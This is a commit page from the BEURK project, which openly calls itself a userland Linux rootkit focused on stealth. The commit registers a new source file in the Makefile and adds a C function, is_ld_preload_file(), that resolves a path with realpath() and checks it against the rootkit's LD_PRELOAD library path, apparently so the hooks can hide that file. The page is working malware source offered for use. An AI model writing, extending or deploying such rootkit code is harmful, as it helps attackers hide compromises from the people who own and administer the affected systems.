Skip to content

Commit 5e9ddb3

Browse files
committed
feat(core): add is_ld_preload_file()
use readpath() instead of strstr() in hooks functions to handle relative and absoluth path
1 parent b57c62e commit 5e9ddb3

File tree

2 files changed

+43
-0
lines changed

2 files changed

+43
-0
lines changed

Makefile

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,7 @@ SOURCES = src/init.c \
3333
src/config.c \
3434
src/debug.c \
3535
src/is_hidden_file.c \
36+
src/is_ld_preload_file.c \
3637
src/is_attacker.c \
3738
src/is_procnet.c \
3839
src/hide_tcp_ports.c \

src/is_ld_preload_file.c

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
/*
2+
* BEURK is an userland rootkit for GNU/Linux, focused around stealth.
3+
* Copyright (C) 2015 unix-thrust
4+
*
5+
* This file is part of BEURK.
6+
*
7+
* BEURK is free software: you can redistribute it and/or modify
8+
* it under the terms of the GNU General Public License as published by
9+
* the Free Software Foundation, either version 3 of the License, or
10+
* (at your option) any later version.
11+
*
12+
* BEURK is distributed in the hope that it will be useful,
13+
* but WITHOUT ANY WARRANTY; without even the implied warranty of
14+
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15+
* GNU General Public License for more details.
16+
*
17+
* You should have received a copy of the GNU General Public License
18+
* along with BEURK. If not, see <http://www.gnu.org/licenses/>.
19+
*/
20+
21+
#include <limits.h> /* PATH_MAX */
22+
#include <stdlib.h> /* realpath(), free()*/
23+
#include <string.h> /* strcmp() */
24+
#include "beurk.h" /* prototype */
25+
#include "config.h" /* FILE, MAX_LEN, MAGIC_STRING, LIBRARY_NAME, ... */
26+
#include "debug.h" /* DEBUG() */
27+
28+
29+
int is_ld_preload_file(const char *file) {
30+
init();
31+
DEBUG(D_INFO, "called is_ld_preload_file()");
32+
33+
char *path;
34+
int ret;
35+
36+
path = realpath(file, NULL);
37+
if (path == NULL)
38+
return 0;
39+
ret = !strcmp(path, LD_PRELOAD);
40+
free(path);
41+
return ret;
42+
}

0 commit comments

Comments
 (0)